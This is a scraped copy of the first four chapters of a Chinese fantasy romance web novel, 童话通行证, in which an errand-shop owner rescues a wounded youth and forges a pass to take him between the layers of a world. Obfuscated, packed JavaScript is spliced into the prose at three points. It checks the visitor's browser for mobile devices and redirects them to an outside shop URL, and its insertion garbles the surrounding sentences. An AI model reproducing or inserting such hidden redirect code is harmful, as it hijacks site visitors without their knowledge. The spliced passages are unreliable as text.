《童话通行证》 1. 一见倾心? 第一章一见倾心? 在蔚莱国一层的大陆边缘,有一小片水域。 没有人知道这片荒芜的大陆上为什么会有一片湛蓝的水域。 水是从哪里来的,没有人在乎。 它是海水还是湖水,也没有人在乎。 所有人光是活在这片陆地上就已经拼尽全力了。 * 一瞬坐在水域边的岩石上,不时掀起的浪花拍打在礁石上,风裹挟着咸湿的水汽拂过他的发梢。在这片陆地上,大概也只有他有心情这里和人鱼小姐们聊天了。 “一瞬,你最近好神秘啊,到处都找不到你。”金发的人鱼从水面探出脑袋,尾鳍在水中划动着优雅的弧线,发间缀着的粉色贝壳随着她的动作轻轻碰撞。 人鱼族最近似乎很流行这种装扮,这贝壳似乎是人类的工艺品,在贝壳上添加了一层粉釉,在动作时会像波光一般粼粼动人。一瞬记得,他上次见到人鱼的时候,他们还爱往头发里插人类的筷子,这么快时尚风向就又变了。 一瞬笑了笑:“最近有个活儿,就都留在一层了,也亏你们能找到我。” 话音未落,一道绯色身影突然破水而出。红发人鱼甩动着尾鳍,朝着岸边游过来:“我们可还等着那个故事的后续呢。” “唔……”一瞬故意拖长声调,露出一个狡黠的笑。“这算委托吗?” 红发人鱼似乎早料到他会这么说了,不知道从哪儿掏出了一颗珍珠丢给他:“诺,章鱼商铺里品质最好的夜明珠,换你的故事应该不亏吧?” 一瞬接住了珍珠,浑圆的明珠在他掌心流转着月华般的光晕。即使是不懂珍宝的人也能够看出这是一样上等的珍品。 “这个当然够了。”一瞬收下了珍珠,思索了一下上回的故事讲述到了哪里,“上回说到,莱谭有一位被施展了不竭咒的王子,国王咒他永生永世,所到之处皆是荒芜。水会枯竭,草木不生……” “所以这个王子到底犯了什么错?”金发人鱼打断了一瞬。 两条人鱼都对这个故事很感兴趣,双手支撑在礁石边缘,期待地看着他。 红发人鱼看了她一眼:“我们人鱼族的父亲可不会这么残忍,上周安莉卡打碎了父亲从蓝湾沉船找到的琉璃盏——” 金发人鱼安莉卡俏皮地吐了吐舌头,从她的脸上看不出多少悔意:“那可是在深渊裂缝里发现的珍宝!但父亲只是揉了揉我的头发呢。” “你这个冒失鬼!”红发人鱼显然不像她们的父亲那样惯着她,轻轻敲了敲对方的脑袋以后,又望向一瞬,“不过,如果对人鱼施展不竭咒的话……” “那么整片人鱼之海都会枯竭、干涸。”一瞬压低声音,缓缓陈述着。 金发人鱼眨了眨眼,丝毫没被沉重的气氛影响:“那然后呢?那个王子怎么样了?” “然后他被赶出了王国,任由他在外自生自灭。王子就像是一把行走的灾厄之刃,他被生灵厌弃,所经之处,溪流干涸、草木凋零,最顽强的荆棘都在他脚下……在诅咒下,化作灰烬。最终他一个人去了边缘之地,决定远离自然。” 一瞬把玩着手中的宝珠,语调慵懒而散漫,好像在诉说一个遥远的传说。今天是难得的闲暇时刻,他有大把的时间可以耗费在这个美丽的水域边。 红发人鱼歪着头,珊瑚色的发丝随着动作滑落肩头:“这个王子听起来人还挺好的,国王为什么要给他下诅咒呢?” “谁知道呢。”一瞬低笑一声,“坐在王座上的大人物,最喜欢把别人当作棋盘上的棋子。王权…不过是一群疯子给自己戴上的冠冕罢了,他们享受践踏他们的快感。一时兴起、一念之差,甚至只是觉得有趣。” 他看向人鱼,眼瞳中反着波光。明明是个艳阳高照的好日子,可他的眼神却让人鱼们莫名生出了几丝寒意。 一瞬说:“这些理由对手握权力的人来说,已经够了。” 两条人鱼一起懵懂点头,但是她们显然不明白这些随性的行为是什么恶趣味。对她们来说做什么事情都是有理由的,今天阳光很好所以浮上海面,肚子很饿所以想吃顿大餐,深渊裂缝很危险所以远离,她们做一切都是有迹可循的。 “那个可怜的王子……对国王来说不过是一件物品,没用了就随手丢了,像丢垃圾一样。”一瞬的声音缓缓地,没有起伏。 一瞬和人鱼讲述着故事,他的声音中裹挟着海风的咸涩,在礁石间低低盘旋。 唰—— 带着尘土气息的微风突然掠过,一瞬后颈的随发被倏然扬起。他下意识地抬手去拨,指尖却猝然僵在半空。 透过发丝的缝隙,一瞬看见有人正在踏着随浪而来。 他下意识眯起眼睛望过去。 那人像是刚从水域中爬起来,他的衣摆处还沾着泥沙,衣服被礁石划破了几道口子,显得狼狈不堪。可偏偏那张脸,眉如墨画、眼若寒星。明明是落魄至极的模样,却莫名透着一股凌然不可侵犯的冷意,仿佛隔着千年时光,从某个失落的神话中走来。 一瞬的呼吸微微一滞。 他见过无数长得漂亮的人,恶魔族妖冶艳丽,人鱼族天生丽质,精灵族清冷出尘,可他从未有人像眼前这人一样,明明满身风尘,却美得让人心尖发颤。 一瞬的目光像是被磁石吸住一般,牢牢钉在那人身上,胸腔里有什么东西“咚”地跳了一下,又急又重。 ——糟糕。 他好像,一见倾心了。 “喂,一瞬?”金发人鱼伸手在他眼前晃了晃,尾巴不满地拍打水面,溅起的水花落在他的衣襟上,“故事还讲不讲了?” “哦,抱歉抱歉。”一瞬猛地回神,打算继续讲述故事。 他强迫自己从将视线从那个身影上撕开,可是那抹金色的光辉却在他的脑海中挥之不去。 一瞬:“然后……” 他的余光不受控制地再度看向青年。那人身上湿透,衣服黏在身上还隐约透出了一截精致腰线。 一瞬的舌头突然打了结。 “然后……”他又重复了一遍,声音干涩得不像话。 两条人鱼困惑地对视,鳞片在渐暗的天光中闪烁着微芒。 一瞬的耳尖发烫,那个烂熟于心的故事情节突然像退潮般从脑海中溜走,只剩下那个陌生的身影在记忆里愈发清晰。 “然后——”他猛地站起身,用最快的语速道,“然后那个王子在蛮荒之地遇到了一个美人,两个人幸福快乐的生活在一起了!” “就这样?你上次还说这是个悲剧故事……” 人鱼的质疑声还飘在身后,一瞬已经纵身跃下礁石。 一瞬利落地将那枚夜明珠抛回给她们,珠子在空中划出一道仓促的弧线:“突然想起有点急事,下次一定补上完整版!” 他的声音散落在风中,脚步已经朝着那个身影飞奔而去。 夕阳下,心跳声比浪花声更加喧嚣。 直到两人之间的距离缩短到能够看清对方睫毛的弧度,一瞬才猛然意识到对方根本不需要追赶,那双如墨的眼睛也同样一直注视着他,脚步坚定地朝他走来。 随着距离的拉近,一瞬的瞳孔骤然收缩。他这才发现青年破旧的衣衫下,狰狞的伤口纵横交错。最可怖的是那双赤足,尖锐的碎石嵌进血肉模糊的脚掌,可是他的步伐却没有丝毫迟疑。 在这片被神明遗忘,被王族抛弃的一层大陆,伤痕就像呼吸一样平常,但是也很少有人能够做到像青年这般,对自己的伤痛无知无觉。 “你好。”青年的声音有些沙哑,兴许是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555387|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为方才泡过水的缘故,“请问这里是几层?” 一瞬眯起眼睛,饶有兴致地打量着面前的漂亮青年。这个问题太过古怪,就像在问鱼儿“水是什么”一样荒谬。一层大陆的居民从出生就知道自己身处最底层,就像知道太阳会东升西落一般理所当然。 两条人鱼也跟了过来。 “这里是一层。”金发人鱼的声音轻快,只是一瞬和青年所在的位置,水太浅了,她只能远远的地大喊才能让他们听见。 看吧,不属于一层的人鱼都知道这是哪里。 “一层?”青年的眼中闪过了一丝迷茫和惊讶,但是又很快收起,“那天梯在哪里?” 一瞬指向远处隐约可见的断崖轮廓:“最近的天梯就在城郊断崖边,一枚金币,我带你过去怎……” “方向就够了。”青年打断他,眼神中透着几分清澈的决然。 一瞬张了张嘴,话到嘴边,终究还是咽了回去,转而指了个方向,道:“从这片水域到断崖要穿过三个暗礁区,沿着这条路一直走,会看到一片废墟,记住要绕开那些会唱歌的鼹鼠,上个月它们刚吞了三个路过的农人。” 青年颔首,低声道了句谢后转身离去。 一瞬立在原地,望着那背影一寸寸被暮霭蚕食。虽然这个青年确实长得很漂亮,满身的伤口也会让人心生不忍,但是看他的眼神就知道,他一定有什么执念未达。 一瞬并不想莫名介入其他人的事情。 可是看到青年渐行渐远时,他还是没有放下心里那点不忍,突然高声喊道:“喂!要是迷路了记得喊我的名字——” “一瞬!我的名字叫一瞬!——「一家万事屋」的一瞬!有任何事都能找我!” 他的声音很大,可青年却像是没有听见一般,只是固执地朝前走着,没有回头。一瞬只好目送他,直到那身影彻底融进远方的灰暗里,再也看不见。 “一瞬,你不去帮帮他吗?”金发人鱼拍打着水面喊道。 红发人鱼跟着点头:“对啊,他一看就是你的菜诶。” “喂喂,你们把我当什么人了?”一瞬夸张地捂住胸口,“我是那种见色起意的家伙吗?” “才带个路就要一枚金币,你根本就是奸商吧!”红发人鱼吐了吐舌头。 说他是奸商也不错,毕竟讲个故事就收了一颗夜明珠,整个蔚莱境内应该是找不到第二个了。 一瞬正想编造一些事实替自己辩驳,人鱼却将那颗夜明珠又取了出来,朝他抛过去,道:“我们替他付酬金了,快去帮帮他吧。” “收到——”一瞬看到夜明珠,眼神一亮,稳稳地接住了,“放心吧老板们,使命必达!” 和人鱼道别了以后,一瞬立刻沿着青年离开的方向追去。 脚下的碎石逐渐被岩石取代。他一路观察,却直到天梯都没找到预想中的血迹。 天梯是一个圆形的法阵。法阵中的古老符文正流淌着幽蓝光芒,如同拥有生命一般,缓缓流转着。光柱一直向天空延伸,直至消失不见。 “奇怪,不会是迷路了吧?”一瞬挠挠头。 他指的方向是没有错,从水域一路直走过来就能够找到天梯,路上也并没有看到唱歌的鼹鼠出没。 还是说,他已经前往二层了? 如果是这样的话,今天算是白嫖到了一颗夜明珠。 一瞬想着,手掌一翻,一张纯白色的通行证凭空出现在指间。 他的身上没有口袋,没人知道他是从何处取出通行证的,仿佛那张卡片本就藏于虚无之中。 他将通行证贴在光柱上,幽蓝色的光芒突然变得温顺起来,如水流般分开一道入口。 一瞬踏入法阵中央,下一秒,蓝光骤盛,他的身影瞬间消失在了光芒深处。 2. 小爷有钱 等一瞬再回到一层的时候,已经是三天后了。 这几天他一直在二层,也有刻意留意着,但是却没有见过青年的身影。 不过这也正常,蔚莱境内一共有七层大陆,每一层都有几十万公顷。 一瞬不知道青年离开天梯以后是往哪儿走的,甚至不知道青年是不是前往二层的,要找到他无异于大海捞针。 这次一瞬要去一层大陆的城市,他接了一个取魔药罐子的委托。这种简单的委托平时连一个银币都不值,但因为是去一层,报酬直接涨到了三个金币。 一层是蔚莱的贫民窟。 是的,整个一层都是贫民窟。 去除周围的废墟、山地,有效土地总共只有五千公顷,可是这里却挤着五百万人,比其他六层人口的总数还要多。 上层的人一般都不想来这么拥挤又肮脏的地方,即使一层和二层中间只隔着一张悬空的地皮,二层的居民也仍然看不起一层的人民。 不过话虽这么说,也不是所有人都有能够进入天梯的通行证的。 大部分人,一辈子都只能被困在他们出生的地方。 这些人中,不伐有一些能人异士,就像这次的委托,「去瓦伦娜女士的店铺取魔药罐子」。 瓦伦娜女士可以在陶土罐上施展一种特殊的魔法,让它变成一个药罐子。用它熬出来的药可以治愈百病。 可惜,即使瓦伦娜女士拥有这样特殊的魔法,只因为出生在一层,她就永远被困在这个贫民窟里了。 一层的公民住着稻草或是岩石堆成的房子,靠着贫瘠的土地勉强维生。城内只有一条护城河,洗衣服或是喝水都是从河中取水。 当天梯的光芒再次亮起时,一瞬进入了一层的城镇范围。很少有人会来一层,更少有人能够离开一层。 当他的轮廓完全浮现时,周围路过的居民都不由自主地放慢了脚步。一瞬感觉到了周围投来的好奇目光,但是他早就已经习惯这种注视了。 他走出法阵,在心底盘算着路线——瓦伦娜的店铺在中央城区的西街,只要左转再…… “……你怎么在这里?!” 一瞬才走出两步就踢到了什么柔软的东西,他低下头,看见一个熟悉的身影倒在法阵旁边。 是那天在海边遇到的青年。 青年倒在法阵旁边,他身上的伤口已经结痂了,但苍白的脸色显示他仍然虚弱不堪。素白的衣服凌乱不堪,大抵是被贫民窟的居民已经打劫过一番了。 一瞬一个箭步冲到青年身旁,单膝跪地,探向他的颈侧。他的脉搏微弱,但好歹还吊着一口气。 还活着,难怪这里的居民没有把他丢到乱葬岗去。 “喂!醒醒!”一瞬拍打青年的脸颊,对方却连睫毛都没颤动一下。 他嘴唇煞白,不知道多久没有喝过水了,身上的伤口也没有处理过,都已经感染了。 远处传来几个孩子的窃窃私语,他们正躲在墙角探讨着抠门的「一家万事屋」会不会救这个倒在贫民窟的人。 一瞬猛地抬头吼道:“别看了!去西街告诉瓦伦娜,准备好药材!” 几个孩子被吼声吓了一跳,但是他们却没有走,反而是壮着胆子靠过来,笑嘻嘻地朝一瞬摊开手。 这是趁火打劫呢。 一瞬气得磨磨牙,但还是摸出了几个铜币挨个分发。不过这就是贫民窟的规矩——活命的机会都要明码标价。 几个小孩拿了钱,蹦蹦跳跳地就去西街了。 一瞬咬咬牙,把青年背起来。青年的身体看似清瘦,却意外地沉重,仿佛骨骼里灌了铅。一瞬一时不察,左右晃了晃才把他成功稳住身形:“蠢货,伤得这么重还非要一个人走。” 人鱼小姐的委托是“帮帮他”。虽然人鱼对夜明珠的价值没有概念,但是一瞬很清楚,这颗夜明珠的价值足够让他做任何事了。 就算是帮助这个青年上去蔚莱三层观光旅游,也绰绰有余。 转过三个破败的巷口,西街的泥泞小路上,瓦伦娜的破旧招牌在风中吱呀作响。老板娘早已抱着个陶土罐等在门口,罐身上用血砂绘制的符文正泛着微光。 “六个金币。”老板娘朝一瞬比划了一个手势,她的指甲上还染了艳丽的蔻丹。 青年趴在一瞬的背上,呼吸微弱。一瞬背着青年跑了一路,听到这个数字以后差点手都松了。 一瞬咬牙切齿:“六个金币!?打劫啊你!” 老板娘紧了紧怀里的陶土罐,丝绸衣裳簌簌作响。在这满是布丁的贫民窟里,她这身行头比王宫的黄金旗帜还眨眼:“能打劫到你这抠门鬼的时候可不多。”她笑得像只偷到油的老鼠,眼睛都眯了起来,“我还不得且行且珍惜?” “三个金币,不能再多了。” 这是他这趟跑腿任务的全部报酬。 “六个,你都没有提前预约。我可是魔力透支给你做的药罐子,值这个价格。” 老板娘毫不松口。 “四个金币。” “六个。” “五个金币。” 老板娘唇角笑意更甚了,她突然凑近过去,将声音压得很低:“或者……用一张去二层的通行证来换?” 一瞬的表情瞬间凝固。片刻后,恶狠狠道:“六个就六个,药罐子给我。” 老板娘这才满意地侧过身子:“先进屋吧,病人可等不起。” 一瞬背着青年进屋,小心翼翼地将他地放在石头床上。一只壁虎被惊得从墙缝里窜出来,慌不择路地爬过青年的脸颊,消失在墙角。 “呼……”一瞬一屁股坐在床边,额前的碎发都被汗水浸湿。他背了青年一路,又和老板娘讨价还价了一番(还没成功)。 他现在累得连手指都不想动。 老板娘将药罐子递给他,里面已经熬好了药。她斜倚在柜台边,丝绸裙摆恰到好处地勾出她的曼妙曲线:“趁热给他用。” 好吧,还是得动。 一瞬将青年扶起来,掰开他的嘴喂药。可青年牙关紧闭,褐色的药汁顺着嘴角流下,在石床上洇开一片深色痕迹。 “直接抹在他的伤口上也行,”老板娘突然开口,她慵懒地支着下巴,胸前的翡翠吊坠随着呼吸微微起伏,“像他这样的外伤,外敷起效更快。” “你不早说!” “你也没问啊。”老板娘无辜地耸耸肩膀。 一瞬将药抹到青年身上,他一只手握着他小腿,一只手慢慢地给他上药。果然,青年的身体不像是他外表看起来的那么瘦弱,他的肌肉很扎实,只是这么握着就能够感觉到里面蕴藏的力量。 他脚底的伤尤为严重,应该是那天在水域边走的时候,被岩石割破的。除了新伤以外,还有许多旧伤,好几处的皮肤都是新长出来的,看起来格外娇嫩。 药敷上去以后就开始起效了,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555388|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道道狰狞的伤疤逐渐消失,连同旧伤疤也逐渐变淡。 老板娘收拾着柜台,然后又拿出了一只包装好的全新药罐子:“那只侏儒要的,你给他带过去吧。他这份是四金币。” “奸商。”一瞬从兜里掏出十枚金币,叮叮当当地排在柜台上。他看了一眼躺在石床上仍然没醒的青年,犹豫片刻,又肉痛地多添了一枚,“找人帮他买双鞋,然后再弄点吃的。我看他不光是伤重,八成是饿晕的。” “行。”老板娘乐呵呵地收下了金币,她将钱仔仔细细、来来回回地点了好几遍,把每一枚都举到窗前细看,甚至用牙咬了咬,最后竟反手弹出两枚给一瞬,“下次来的时候帮我带条珍珠项链,饱满一点的。” 一瞬敏捷地接住金币,然后开始和她讨价还价:“三枚,我还要跑腿费——” 话音未落,老板娘已经径直走向门口。她随手招来个衣衫褴褛的小孩,将一枚金币高高抛起,“去买双鞋子来,再带三人份的炖肉。” 小孩瞪大眼睛——这枚金币足够在贫民窟挥霍半个月了! 他刚要跑,又被老板娘拽住后领:“要是找零少一个铜币……” 她笑吟吟地比划了个抹脖子的动作。 小孩见状,艰难地吞咽了口唾沫,瑟瑟发抖地跑走了。 回到屋内,老板娘完全无视了一瞬方才的话。她倚在药柜边,打量起青年的外貌。 青年此刻安静地躺在石床上,昏睡中的面容却依然美得惊心。他的五官像是被神明精心雕琢过的,薄唇即使毫无血色也依然形状完美。 半晌后,她忽然恍然大悟。 “你们……”老板娘俯下身,红唇几乎贴到一瞬耳边,笑音不加掩饰,“你和这个小帅哥,该不会有什么不可告人的关系吧?来贫民窟偷吃,胃口这么好啊?” “哈?!”一瞬上药的手指一抖,差点把药水抹到青年衣服上。虽然他的素衫已经很脏,也不差这一点污渍了。 “你平时看到个帅哥美女就要搭讪,这种级别的漂亮男人……”老板娘笑得意味深长,“而且居然还倒贴钱?” “放屁!我就是表达一下来自陌生人的关心而已,这是人道主义关怀懂不懂?我难道还能见死不救吗?”一瞬连忙反驳,“再说了,我可是开万事屋的,和所有人搞好关系也是我的工作之一。” “七枚金币的人道主义?啧啧,真感人~”这七枚金币,在贫民窟不知道够买多少人命了。 “小爷有钱,要你管啊!”一瞬被老板娘臊得脸都红了。不过即使这样他也不会说这其实是人鱼的委托的,他可不想在贫民窟招摇自己得到了一颗珍品级别的夜明珠。 哦,当然,除此之外也确实有那么一点被外貌迷晕了眼的原因。 等到药全部上完的时候,跑腿小孩也风风火火地跑回来了。他带了一双布鞋子,以及贫民窟特产,硬得能当板砖的黑面包。 鞋子买的是贫民窟里的顶尖货,但这应该是为了掩饰价格的障眼法罢了。一瞬算了算,这双鞋子最多价值三个银币,面包算他两个铜币都算多了。 可是剩下的钱,小孩没有主动还,他捂着口袋,趁着一瞬和老板娘不注意的时候逃走了。 不过一瞬也不计较,毕竟他的万事屋也是主营跑腿业务的,给跑腿费是天经地义的。只是他摸着明显瘪下去的钱袋,心尖还是忍不住抽痛。 七个银币,都够他一周的生活费了。 3. 独家魔法 药效渐渐显现,青年的呼吸变得平稳而绵长。 老板娘和一瞬先吃过饭以后,就开始百无聊赖地等青年醒来。 一瞬蹲下身,替青年套上新买的鞋子。瓦伦娜的药罐向来神奇,最多不出一小时,他就会醒来。 瓦伦娜的房子是用石头搭建的,太阳被云遮住的时候一丝光都透不进来。 借着这片刻的宁静,一瞬终于有机会仔细打量这位神秘的青年。第一次见面太过仓促,这次又光顾着看他的伤口了。他这才注意到,青年身上穿的根本不是衣服,只是一片素白的布料,在肩头草草绑了个结,又在腰间系了根腰带,勉强不让布料脱落。 这身打扮在贫民窟倒是常见,只是这人却明显不是贫民窟来的。 住在一层的人天生就知道自己是底层人民。 一瞬在心中默数着时间,果然没一会儿,那双紧闭的眼睛突然颤了颤,缓缓睁开了。 那是一双如墨般漆黑的眼眸。青年缓慢地眨了眨眼,当意识到自己在一片陌生环境后,他的目光在一瞬间聚焦,全身肌肉瞬间紧绷,像只警觉地野兽一般。 瓦伦娜的目光在青年身上流连。 他的五官轮廓深邃而分明,像是被刀锋一笔笔削出来的。眉骨高而锋利,投下一小片阴影,衬得那双黑眸愈发幽沉。鼻梁高挺如峰,薄唇微微抿着,失血过多让他的唇色泛着一层淡白,却丝毫不减那种冷峻的危险感。 老板娘再次朝一瞬投去揶揄的视线,红唇勾起促狭的弧度。 一瞬读懂了她的目光,她在说:这七枚金币花得值啊。 一瞬感觉百口莫辩,干脆不去搭理她。 他将自己的脸挤进青年的视线中,声音温和:“别紧张。还记得我吗?” “你是……那天海边的。”青年的声音干涩,比一瞬遇到他的那天更加沙哑。他的嘴唇几乎没动,字句含糊得需要仔细辨认才能听清他在说什么。 老板娘端过来一杯水:“先润润嗓子。” 青年警惕地扫了她一眼,没有伸手。 老板娘也不勉强,随手将杯子放到一边。 “那天我去天梯找你了,一路都没有看见你。你跑到哪里去了?怎么倒在城中天梯旁边。”一瞬把面包递给他。 青年看了一眼面包,喉结明显地滚动了一下。他看起来是真饿了,对着这样的板砖面包都能馋。 他犹豫着接下了,却仍然保持沉默,一双眼睛不着痕迹地观察着四周。 一瞬和老板娘对视了一眼,后者立刻会意,耸了耸肩膀,转身进了里屋。 瓦伦娜女士明明是在自己的小药铺子里,却像是被下了逐客令。 青年见老板娘走了,迅速侧身。接着角度遮掩做了个小动作,一瞬没看清他做了什么,但是当他转回来时,一瞬敏锐地注意到他的腰带被翻动了,似乎里面藏了些什么。 随后,青年终于开口,只是声音依然沙哑:“我到了天梯,然后发现我的通行证不能用了。” 一瞬把水杯再次递过去:“然后呢?” 青年接过了水,一饮而尽后,道:“我想起你说可以到万事屋找你求助。”他抹了抹嘴角,原本苍白的唇色终于泛起血色,声音也变得清润起来,“好不容易找到了城市,却找不到你在的万事屋。只打听到你常去城中天梯,就去哪里等。” 虽然场景不太对,还莫名其妙花出去七个金币,但是被一个大帅哥说在等他,一瞬还是觉得挺暗爽的。 “找我?”一瞬问。 青年说:“我问路人,万事屋在哪,但是你没告诉我万事屋的名字,我到处都找不到你。” 一瞬:“……” 他突然觉得有些好笑。一瞬以前觉得自己的万事屋名字取得挺好的,幽默诙谐还和自己是“本家”,都姓“一”。没想到还能闹出这样的乌龙。 “咳咳……”一瞬摸了摸鼻子,解释道:“我的万事屋就叫「一家万事屋」,名字就叫「一家」。” 青年:“……” “而且。”一瞬嘴角忍不住上扬,又补充道,“万事屋在蔚莱二层。” 青年:“……” 青年的表情瞬间凝固,那双漂亮的眼睛里写满了不可置信。 片刻的沉默后,他缓缓抬手按住了太阳穴,仿佛在强忍头痛。阳光从窗口洒进来,在他的脸上镀上一层金色,连眼角的那滴泪痣都显得格外生动。 一瞬眯了眯眼睛,忽然想到了第一眼见到他的时候。 “所以你能接我的委托吗?带我去第……第七层。”说到最后几个字的时候,青年的声音几乎低不可闻,他自己也觉得这个请求荒谬至极。 一瞬正仰头喝水,闻言猛地呛住,一口水直接喷了出来。他咳了好一阵,眼眶都泛红了,难以置信地瞪着青年。 七层?! 他是把自己当成神仙了吗?! “二层我可以带你去,”一瞬擦了擦嘴角的水渍,斟酌着用词。他忍不住又打量了青年几眼,那眼神像是在看一个异想天开的疯子,“那可是王族的地盘,飞进去的苍蝇都要被查三代。你让我一个万事屋跑腿的带你上七层?你怎么不让我直接去敲王宫的大门呢?” 青年那张俊美的脸上闪过一丝窘迫,耳根微微泛红,连忙改口道:“或者你能不能先带我去二层?……多少钱,我会还清的。” 一瞬眯起眼睛:“你还去找过别的万事屋了吧?没有和他们提这个‘小小’要求吗。” 青年坦然地迎上他的目光:“提了,他们说二层都上不去。” 一瞬气笑了:“那你怎么确定我能带你上二层?” 青年摇了摇头:“不知道,最后赌一把。” 一瞬气笑了,声音中还带着几分咬牙切齿:“我要是今天没有碰巧来一层的话,你就被拖去乱葬岗喂鼹鼠了,知道吗?” 青年重重地点了点头,片刻后才道:“但是你刚才说,有办法带我去二层吧?”他说完后抬起头,一双黑眸坚定地看向一瞬,“我赌对了。” 明明还虚弱地躺在石床上,那双眼睛却像含着墨色的深潭,幽沉而专注。 一瞬和他对视了几秒,竟觉得自己的目光被卷了进去,像是落入一片看不见底的夜色里,一时间忘了移开。 最后,他先一步站起身,拍了拍衣摆的灰尘:“还能走吗?带你上二层。” “能!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555389|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >青年摇摇晃晃地撑着石床站起来,脚踩在燥热的地板上却没有感受到反馈到脚掌上的温度。 他低头看着自己脚上凭空多出的布鞋子,喉结滚动了几下:“……谢谢。” “小事。”一瞬笑了笑,随后朝里屋高声喊道:“老板娘!我们就先走了。药罐子我也拿走了,下次见。” 他将两个药罐子都装了起来,一个客户的,一个自己真金白银买的。开玩笑,价值六个金币的药罐子,他回去得把药汤当水喝才能值回本。 “赶紧滚——”老板娘的声音混着捣药声传来。 一瞬耸了耸肩,转头望向青年:“走吧。” 他说着,推开门,潮湿闷热的空气立刻涌了进来。 一瞬带着青年左拐右拐地回到了城中天梯。 天梯在城市中央,但是鲜少有人靠近,毕竟大部分人都没有资格登上二层。 这次有两个人同时靠近它,身周也不乏有人投来羡慕的目光。不过路人的注视很快就如退潮般散去——生活在一层的人,早就学会了不对不可能的事抱持太久幻想。 就在一瞬打算施展魔法的时候,青年将手搭到了腰间,似乎想取什么东西出来。 一瞬挑挑眉,他想起青年今天刚醒时的口齿不清和鬼鬼祟祟的小动作,忽然福至心灵——这家伙,之前不会是把自己的通行证藏在嘴里了吧?! 他饶有兴致地抱臂旁观,却在看见青年抽出一个金色的边角的时候,脸色骤变,连忙上前去摁住他的手:“别在这里把这个东西拿出来啊!笨蛋!” 这家伙活了这么大,怎么一点蔚莱的人情世故都不懂?! “可是,没有通行证的话怎么上去?”青年不解。 “我都说可以带你上去了。” “我以为你是要帮我修复通行证。”青年皱眉,“没有卡的话,连法阵都进不去吧?” 一瞬这才反应过来,刚才在瓦伦娜药铺的对话太过仓促了,他根本没有和青年沟通过要怎么带他离开的问题。 他压低声音,轻轻呵道:“谁说没有卡的?” 青年将信将疑地收回手,将那抹金色重新隐入衣襟。 一瞬这才松了口气,四下张望确认无人注意后,突然摊开掌心:“对了,你叫什么名字?” “嗯?” “通行证需要身份信息。”一瞬看了他一眼,“真名或者常用名,都行。” 青年沉默片刻:“无欢。” “哪个无,哪个欢?”一瞬下意识地询问,却在视线触及他那双没有什么波澜的双眸以后明白了什么,垂下眼睛不再追问。 紧接着,他的掌心突然泛起和天梯相同的幽蓝光芒。那光芒如同活物般流动旋转,逐渐凝聚成一张纯白卡片。卡面上“无欢”二字,如烟如尘地浮现,墨迹游走间竟带着几分凄艳,最终深深沁入卡片肌理,消失地无影无踪。 无欢瞳孔骤缩:“你这是......” “厉害吧?”一瞬得意地晃了晃卡片,法阵的蓝光映得他眉眼狡黠,“我的独家魔法——” 一瞬凑到无欢耳畔,温热的呼吸拂过耳畔,压低的声音里带着恶作剧般的欢快:“专业造假证。” 4. 祖传秘方 两人并肩踏入天梯法阵的瞬间,幽蓝的光芒如水般漫过脚踝。法阵对持有正确通行证的人向来温柔。 蓝光流转间,贫民窟的浊气已被洗净。 当光芒散去时,扑面而来的是平和城特有的草木清香。 无欢怔在原地——上一秒还是乱石嶙峋的肮脏巷道,此刻眼前却是掩映在参天绿树中的红瓦小屋。露水从翡翠般的叶片滚落,在青石板路上溅起细碎的金光。远处几户人家的烟囱飘着炊烟,空气中浮动着松木与野莓的芬芳。 一瞬笑道:“这里很漂亮吧?蔚莱大陆照理来说,居住环境是一层不如一层的,一层是贫民窟,三层是岩山矿场,环境也很恶劣。但是被一层和三层夹着的二层却是人间仙境。有人猜测,可能是因为人鱼之海在二层的缘故,我们这片土地能够如此富饶,都是大海孕育出来的。” 无欢的目光从远处的炊烟收回来,又落在脚边那片沾着露水的青苔上。他的瞳孔轻轻颤动着,过了好一会儿,才低声说了一句:“这里真的好美。” 一瞬笑了笑:“这里没有人,试试你那张金卡。” “好。”无欢应着,随即将手伸向腰带。 可就在他刚要取出通行证的刹那,天梯法阵骤然泛起刺目的猩红。 那光芒来得毫无征兆,像是被什么触怒了一般,猛地炸开一道无声的震荡。无欢甚至来不及反应,一股排山倒海般的力量便狠狠撞上他的胸口,将他整个人弹飞出去。 一瞬像是早就已经预见了这种情况,伸手接住他,开门见山地问:“这张卡不是你的吧?” 无欢沉默了几秒,被天梯拒绝的场景非常明显,他无从辩驳,只能点点头:“嗯。” 一瞬看见他攥着卡片的手指关节泛白,又强迫自己慢慢松开。那双黑眸中闪过一丝近乎狼狈的情绪,像是高高在上的神明突然被拉下神坛,沾了满身尘世的泥泞。 